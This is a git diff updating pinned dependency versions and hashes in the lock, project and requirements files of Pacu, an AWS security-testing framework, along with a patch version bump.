"sha256:1aa839ff6bf0ca644cf6efcb72a50ea53280b47fa0e9d9fb7c2139f0768dcfa5"}, - {file = "mypy_boto3_iam-1.18.13-py3-none-any.whl", hash = "sha256:3772d100fae782bd83216e82d31d3be873cc08c5476da04a70e1100c03ff1d12"}, + {file = "mypy-boto3-iam-1.21.23.tar.gz", hash = "sha256:2d476b992e821ba15361cd539de537ef92896531e803948b6cb328be72bfcc52"}, + {file = "mypy_boto3_iam-1.21.23-py3-none-any.whl", hash = "sha256:c7bb4c68e9327e7bc0130c8d3197620e911748616fbc79be0cd5fb72c21fda10"}, ] [package.dependencies] -typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +typing-extensions = "*" [[package]] name = "mypy-boto3-lambda" -version = "1.18.13" -description = "Type annotations for boto3.Lambda 1.18.13 service, generated by mypy-boto3-builder 5.1.0" +version = "1.21.23" +description = "Type annotations for boto3.Lambda 1.21.23 service generated with mypy-boto3-builder 7.4.0" optional = false python-versions = ">=3.6" files = [ - {file = "mypy-boto3-lambda-1.18.13.tar.gz", hash = "sha256:a360fd716be53347d5666c2845ac8595b821750ad4d1f94cbae6533b871cdcce"}, - {file = "mypy_boto3_lambda-1.18.13-py3-none-any.whl", hash = "sha256:6d32d9355f6db4c02a3328ecfa6f3a6d01a7a40bd5ad6d533b6d15c09bd391ce"}, + {file = "mypy-boto3-lambda-1.21.23.tar.gz", hash = "sha256:a49485f380696ff9aa50906413fa39f210a75146b0c6474d03dca54d8b14f54d"}, + {file = "mypy_boto3_lambda-1.21.23-py3-none-any.whl", hash = "sha256:520f5a8115393922610a781aebb73adb7800b948c21abbebea480f4901853ee8"}, ] [package.dependencies] -typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +typing-extensions = "*" [[package]] name = "mypy-boto3-s3" -version = "1.18.13" -description = "Type annotations for boto3.S3 1.18.13 service, generated by mypy-boto3-builder 5.1.0" +version = "1.21.23" +description = "Type annotations for boto3.S3 1.21.23 service generated with mypy-boto3-builder 7.4.0" optional = false python-versions = ">=3.6" files = [ - {file = "mypy-boto3-s3-1.18.13.tar.gz", hash = "sha256:9c31f2cf9cfad8fff83b13a5b0fccb3dcd1126c3857e276d655a4e19378c12ce"}, - {file = "mypy_boto3_s3-1.18.13-py3-none-any.whl", hash = "sha256:79247582bc73b053db90513e70f03b8b8db58ec1995ef25166bc037e8e7b15ad"}, + {file = "mypy-boto3-s3-1.21.23.tar.gz", hash = "sha256:8656bdd8b22fcb229e7424abcfa9c8a8c68cbe97b007eedc7c0baa9da80ef9d4"}, + {file = "mypy_boto3_s3-1.21.23-py3-none-any.whl", hash = "sha256:4777518c043f3d214eea2ca2067e1833f3a1647bb0b9bca462219b19fcf93a6b"}, ] [package.dependencies] -typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +typing-extensions = "*" [[package]] name = "mypy-extensions" @@ -1016,18 +1208,15 @@ files = [ [[package]] name = "packaging" -version = "21.0" +version = "23.1" description = "Core utilities for Python packages" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "packaging-21.0-py3-none-any.whl", hash = "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14"}, - {file = "packaging-21.0.tar.gz", hash = "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7"}, + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, ] -[package.dependencies] -pyparsing = ">=2.0.2" - [[package]] name = "pip" version = "21.2.4" @@ -1041,13 +1230,13 @@ files = [ [[package]] name = "pluggy" -version = "0.13.1" +version = "1.2.0" description = "plugin and hook calling mechanisms for python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=3.7" files = [ - {file = "pluggy-0.13.1-py2.py3-none-any.whl", hash = "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"}, - {file = "pluggy-0.13.1.tar.gz", hash = "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0"}, + {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"}, + {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"}, ] [package.dependencies] @@ -1055,16 +1244,17 @@ importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} [package.extras] dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] [[package]] name = "policyuniverse" -version = "1.5.0.20220613" +version = "1.5.1.20230817" description = "Parse and Process AWS IAM Policies, Statements, ARNs, and wildcards." optional = false python-versions = ">=3.7" files = [ - {file = "policyuniverse-1.5.0.20220613-py2.py3-none-any.whl", hash = "sha256:be5d9148bf6cc2586b02aa85242e9c9cdc94e4469f9b393114950cae299eeb5d"}, - {file = "policyuniverse-1.5.0.20220613.tar.gz", hash = "sha256:c66b1fb907750643a1987eb419b2112ae3f9c527c013429525f9fab989c9a2d7"}, + {file = "policyuniverse-1.5.1.20230817-py2.py3-none-any.whl", hash = "sha256:6317928273b18de8ed28ddf9f06faf501e044344d86f86b7681817fb32fff67a"}, + {file = "policyuniverse-1.5.1.20230817.tar.gz", hash = "sha256:7920896195af163230635f1a5cee0958f56003ef8c421f805ec81f134f80a57c"}, ] [package.extras] @@ -1073,24 +1263,24 @@ tests = ["bandit", "coveralls", "pytest"] [[package]] name = "py" -version = "1.10.0" +version = "1.11.0" description = "library with cross-python path, ini-parsing, io, code, log facilities" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "py-1.10.0-py2.py3-none-any.whl", hash = "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"}, - {file = "py-1.10.0.tar.gz", hash = "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3"}, + {file = "py-1.11.0-py2.py3-none-any.whl", hash = "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"}, + {file = "py-1.11.0.tar.gz", hash = "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"}, ] [[package]] name = "pyasn1" -version = "0.4.8" -description = "ASN.1 types and codecs" +version = "0.5.0" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false -python-versions = "*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, - {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, + {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"}, + {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"}, ] [[package]] @@ -1123,13 +1313,13 @@ requests = ">=2.22.0" [[package]] name = "pycparser" -version = "2.20" +version = "2.21" description = "C parser in Python" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" files = [ - {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"}, - {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"}, + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, ] [[package]] @@ -1143,17 +1333,6 @@ files = [ {file = "pyflakes-2.3.1.tar.gz", hash = "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db"}, ] -[[package]] -name = "pyparsing" -version = "2.4.7" -description = "Python parsing module" -optional = false -python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" -files = [ - {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, - {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, -] - [[package]] name = "pypng" version = "0.20220715.0" @@ -1167,13 +1346,13 @@ files = [ [[package]] name = "pytest" -version = "6.2.4" +version = "6.2.5" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.6" files = [ - {file = "pytest-6.2.4-py3-none-any.whl", hash = "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"}, - {file = "pytest-6.2.4.tar.gz", hash = "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b"}, + {file = "pytest-6.2.5-py3-none-any.whl", hash = "sha256:7310f8d27bc79ced999e760ca304d69f6ba6c6649c0b60fb0e04a4a77cacc134"}, + {file = "pytest-6.2.5.tar.gz", hash = "sha256:131b36680866a76e6781d13f101efb86cf674ebb9762eb70d3082b6f29889e89"}, ] [package.dependencies] @@ -1183,7 +1362,7 @@ colorama = {version = "*", markers = "sys_platform == \"win32\""} importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} iniconfig = "*" packaging = "*" -pluggy = ">=0.12,<1.0.0a1" +pluggy = ">=0.12,<2.0" py = ">=1.8.2" toml = "*" @@ -1240,13 +1419,13 @@ pycryptodome = ["pyasn1", "pycryptodome (>=3.3.1,<4.0.0)"] [[package]] name = "pytz" -version = "2021.1" +version = "2023.3.post1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" files = [ - {file = "pytz-2021.1-py2.py3-none-any.whl", hash = "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"}, - {file = "pytz-2021.1.tar.gz", hash = "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da"}, + {file = "pytz-2023.3.post1-py2.py3-none-any.whl", hash = "sha256:ce42d816b81b68506614c11e8937d3aa9e41007ceb50bfdcb0749b921bf646c7"}, + {file = "pytz-2023.3.post1.tar.gz", hash = "sha256:7b4fddbeb94a1eba4b557da24f19fdf9db575192544270a9101d8509f9f43d7b"}, ] [[package]] @@ -1312,54 +1491,59 @@ test = ["coverage", "pytest"] [[package]] name = "readchar" -version = "2.0.1" -description = "Utilities to read single characters and key-strokes" +version = "4.0.5" +description = "Library to easily read single chars and key strokes" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "readchar-2.0.1-py2-none-any.whl", hash = "sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e"}, - {file = "readchar-2.0.1-py3-none-any.whl", hash = "sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca"}, + {file = "readchar-4.0.5-py3-none-any.whl", hash = "sha256:76ec784a5dd2afac3b7da8003329834cdd9824294c260027f8c8d2e4d0a78f43"}, + {file = "readchar-4.0.5.tar.gz", hash = "sha256:08a456c2d7c1888cde3f4688b542621b676eb38cd6cfed7eb6cb2e2905ddc826"}, ] +[package.dependencies] +setuptools = ">=41.0" + [[package]] name = "requests" -version = "2.26.0" +version = "2.31.0" description = "Python HTTP for Humans." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.7" files = [ - {file = "requests-2.26.0-py2.py3-none-any.whl", hash = "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24"}, - {file = "requests-2.26.0.tar.gz", hash = "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"}, + {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, + {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, ] [package.dependencies] certifi = ">=2017.4.17" -charset-normalizer = {version = ">=2.0.0,<2.1.0", markers = "python_version >= \"3\""} -idna = {version = ">=2.5,<4", markers = "python_version >= \"3\""} -urllib3 = ">=1.21.1,<1.27" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" [package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<5)"] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "responses" -version = "0.13.3" +version = "0.23.3" description = "A utility library for mocking out the `requests` Python library." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = ">=3.7" files = [ - {file = "responses-0.13.3-py2.py3-none-any.whl", hash = "sha256:b54067596f331786f5ed094ff21e8d79e6a1c68ef625180a7d34808d6f36c11b"}, - {file = "responses-0.13.3.tar.gz", hash = "sha256:18a5b88eb24143adbf2b4100f328a2f5bfa72fbdacf12d97d41f07c26c45553d"}, + {file = "responses-0.23.3-py3-none-any.whl", hash = "sha256:e6fbcf5d82172fecc0aa1860fd91e58cbfd96cee5e96da5b63fa6eb3caa10dd3"}, + {file = "responses-0.23.3.tar.gz", hash = "sha256:205029e1cb334c21cb4ec64fc7599be48b859a0fd381a42443cdd600bfe8b16a"}, ] [package.dependencies] -requests = ">=2.0" -six = "*" -urllib3 = ">=1.25.10" +pyyaml = "*" +requests = ">=2.30.0,<3.0" +types-PyYAML = "*" +typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +urllib3 = ">=1.25.10,<3.0" [package.extras] -tests = ["coverage (>=3.7.1,<6.0.0)", "flake8", "mypy", "pytest (>=4.6)", "pytest (>=4.6,<5.0)", "pytest-cov", "pytest-localserver"] +tests = ["coverage (>=6.0.0)", "flake8", "mypy", "pytest (>=7.0.0)", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "tomli", "tomli-w", "types-requests"] [[package]] name = "rsa" @@ -1377,13 +1561,13 @@ pyasn1 = ">=0.1.3" [[package]] name = "s3transfer" -version = "0.5.0" +version = "0.6.2" description = "An Amazon S3 Transfer Manager" optional = false -python-versions = ">= 3.6" +python-versions = ">= 3.7" files = [ - {file = "s3transfer-0.5.0-py3-none-any.whl", hash = "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803"}, - {file = "s3transfer-0.5.0.tar.gz", hash = "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c"}, + {file = "s3transfer-0.6.2-py3-none-any.whl", hash = "sha256:b014be3a8a2aab98cfe1abc7229cc5a9a0cf05eb9c1f2b86b230fd8df3f78084"}, + {file = "s3transfer-0.6.2.tar.gz", hash = "sha256:cab66d3380cca3e70939ef2255d01cd8aece6a4907a9528740f668c4b0611861"}, ] [package.dependencies] @@ -1394,18 +1578,19 @@ crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"] [[package]] name = "setuptools" -version = "59.6.0" +version = "68.0.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "setuptools-59.6.0-py3-none-any.whl", hash = "sha256:4ce92f1e1f8f01233ee9952c04f6b81d1e02939d6e1b488428154974a4d0783e"}, - {file = "setuptools-59.6.0.tar.gz", hash = "sha256:22c7348c6d2976a52632c67f7ab0cdf40147db7789f9aed18734643fe9cf3373"}, + {file = "setuptools-68.0.0-py3-none-any.whl", hash = "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f"}, + {file = "setuptools-68.0.0.tar.gz", hash = "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=8.2)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx", "sphinx-inline-tabs", "sphinxcontrib-towncrier"] -testing = ["flake8-2020", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "mock", "paver", "pip (>=19.1)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.0.1)", "pytest-flake8", "pytest-mypy", "pytest-virtualenv (>=1.2.7)", "pytest-xdist", "sphinx", "virtualenv (>=13.0.0)", "wheel"] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] [[package]] name = "six" @@ -1489,7 +1674,7 @@ mypy = ">=0.790" typing-extensions = ">=3.7.4" [[package]] -name = "SQLAlchemy-Utils" +name = "sqlalchemy-utils" version = "0.37.9" description = "Various utility functions for SQLAlchemy." optional = false @@ -1567,100 +1752,125 @@ files = [ {file = "typed_ast-1.4.3.tar.gz", hash = "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65"}, ] +[[package]] +name = "types-awscrt" +version = "0.19.1" +description = "Type annotations and code completion for awscrt" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "types_awscrt-0.19.1-py3-none-any.whl", hash = "sha256:68fffeb75396e9e7614cd930b2d52295f680230774750907bcafb56f11514043"}, + {file = "types_awscrt-0.19.1.tar.gz", hash = "sha256:61833aa140e724a9098025610f4b8cde3dcf65b842631d7447378f9f5db4e1fd"}, +] + +[[package]] +name = "types-pyyaml" +version = "6.0.12.11" +description = "Typing stubs for PyYAML" +optional = false +python-versions = "*" +files = [ + {file = "types-PyYAML-6.0.12.11.tar.gz", hash = "sha256:7d340b19ca28cddfdba438ee638cd4084bde213e501a3978738543e27094775b"}, + {file = "types_PyYAML-6.0.12.11-py3-none-any.whl", hash = "sha256:a461508f3096d1d5810ec5ab95d7eeecb651f3a15b71959999988942063bf01d"}, +] + [[package]] name = "typing-extensions" -version = "3.10.0.0" +version = "3.10.0.2" description = "Backported and Experimental Type Hints for Python 3.5+" optional = false python-versions = "*" files = [ - {file = "typing_extensions-3.10.0.0-py2-none-any.whl", hash = "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497"}, - {file = "typing_extensions-3.10.0.0-py3-none-any.whl", hash = "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"}, - {file = "typing_extensions-3.10.0.0.tar.gz", hash = "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342"}, + {file = "typing_extensions-3.10.0.2-py2-none-any.whl", hash = "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7"}, + {file = "typing_extensions-3.10.0.2-py3-none-any.whl", hash = "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"}, + {file = "typing_extensions-3.10.0.2.tar.gz", hash = "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e"}, ] [[package]] name = "urllib3" -version = "1.26.6" +version = "1.26.16" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4" +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" files = [ - {file = "urllib3-1.26.6-py2.py3-none-any.whl", hash = "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4"}, - {file = "urllib3-1.26.6.tar.gz", hash = "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f"}, + {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"}, + {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"}, ] [package.extras] -brotli = ["brotlipy (>=0.6.0)"] -secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)"] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] [[package]] name = "wcwidth" -version = "0.2.5" +version = "0.2.6" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ - {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"}, - {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"}, + {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"}, + {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"}, ] [[package]] name = "werkzeug" -version = "2.0.1" +version = "2.2.3" description = "The comprehensive WSGI web application library." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "Werkzeug-2.0.1-py3-none-any.whl", hash = "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8"}, - {file = "Werkzeug-2.0.1.tar.gz", hash = "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42"}, + {file = "Werkzeug-2.2.3-py3-none-any.whl", hash = "sha256:56433961bc1f12533306c624f3be5e744389ac61d722175d543e1751285da612"}, + {file = "Werkzeug-2.2.3.tar.gz", hash = "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe"}, ] +[package.dependencies] +MarkupSafe = ">=2.1.1" + [package.extras] watchdog = ["watchdog"] [[package]] name = "wheel" -version = "0.37.1" +version = "0.41.2" description = "A built-package format for Python" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +python-versions = ">=3.7" files = [ - {file = "wheel-0.37.1-py2.py3-none-any.whl", hash = "sha256:4bdcd7d840138086126cd09254dc6195fb4fc6f01c050a1d7236f2630db1d22a"}, - {file = "wheel-0.37.1.tar.gz", hash = "sha256:e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4"}, + {file = "wheel-0.41.2-py3-none-any.whl", hash = "sha256:75909db2664838d015e3d9139004ee16711748a52c8f336b52882266540215d8"}, + {file = "wheel-0.41.2.tar.gz", hash = "sha256:0c5ac5ff2afb79ac23ab82bab027a0be7b5dbcf2e54dc50efe4bf507de1f7985"}, ] [package.extras] -test = ["pytest (>=3.0.0)", "pytest-cov"] +test = ["pytest (>=6.0.0)", "setuptools (>=65)"] [[package]] name = "xmltodict" -version = "0.12.0" +version = "0.13.0" description = "Makes working with XML feel like you are working with JSON" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +python-versions = ">=3.4" files = [ - {file = "xmltodict-0.12.0-py2.py3-none-any.whl", hash = "sha256:8bbcb45cc982f48b2ca8fe7e7827c5d792f217ecf1792626f808bf41c3b86051"}, - {file = "xmltodict-0.12.0.tar.gz", hash = "sha256:50d8c638ed7ecb88d90561beedbf720c9b4e851a9fa6c47ebd64e99d166d8a21"}, + {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, + {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, ] [[package]] name = "zipp" -version = "3.5.0" +version = "3.15.0" description = "Backport of pathlib-compatible object wrapper for zip files" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "zipp-3.5.0-py3-none-any.whl", hash = "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3"}, - {file = "zipp-3.5.0.tar.gz", hash = "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"}, + {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"}, + {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"}, ] [package.extras] -docs = ["jaraco.packaging (>=8.2)", "rst.linker (>=1.9)", "sphinx"] -testing = ["func-timeout", "jaraco.itertools", "pytest (>=4.6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.0.1)", "pytest-flake8", "pytest-mypy"] +docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] [metadata] lock-version = "2.0" python-versions = "^3.7" -content-hash = "9f4e12eaabdd72f1b6d11da8c1d0b9bb1f103dfbec0cc24054a47b17b1ec6314" +content-hash = "1ff6a5d543df7d8195fa826bef9fd141b79a969d8b4d52a88aea6b8ff29a67f0" diff --git a/pyproject.toml b/pyproject.toml index 3a9209c9..08827452 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "pacu" -version = "1.3.0" +version = "1.3.1" description = "The AWS exploitation framework, designed for testing the security of Amazon Web Services environments." authors = ["Rhino Assessment Team "] license = "BSD-3" @@ -19,7 +19,7 @@ SQLAlchemy = "~1.3.0" SQLAlchemy-Utils = "^0.37.2" typing-extensions = "^3.7.4.3" dsnap = "^1.0.0" -chalice = "^1.23.0" +chalice = "1.24.1" policyuniverse = "^1.5.0.20220613" pycognito = "^2023.5.0" qrcode = "^7.4.2" diff --git a/requirements.txt b/requirements.txt index 359ff210..e4987e9e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,98 +4,198 @@ ansicon==1.89.0 ; python_version >= "3.7" and python_version < "4.0" and platfor attrs==20.3.0 ; python_version >= "3.7" and python_version < "4.0" \ --hash=sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6 \ --hash=sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700 -awscli==1.20.13 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:1039ab7ac6051297162ce96cbff4fd5dfc4d3a9c9796a856aeab0f460806d118 \ - --hash=sha256:a9a580916b6934f6bcc0356184bf802eb573374b532da2d6a01c4a2129e214cc -blessed==1.17.6 ; python_version >= "3.7" and python_version < "4.0" \ - --hash=sha256:8371d69ac55558e4b1591964873d6721136e9ea17a730aeb3add7d27761b134b \ - --hash=sha256:a9a774fc6eda05248735b0d86e866d640ca2fef26038878f7e4d23f7749a1e40 -boto3==1.18.13 ; python_version >= "3.7" and python_version < "4.0" \ - 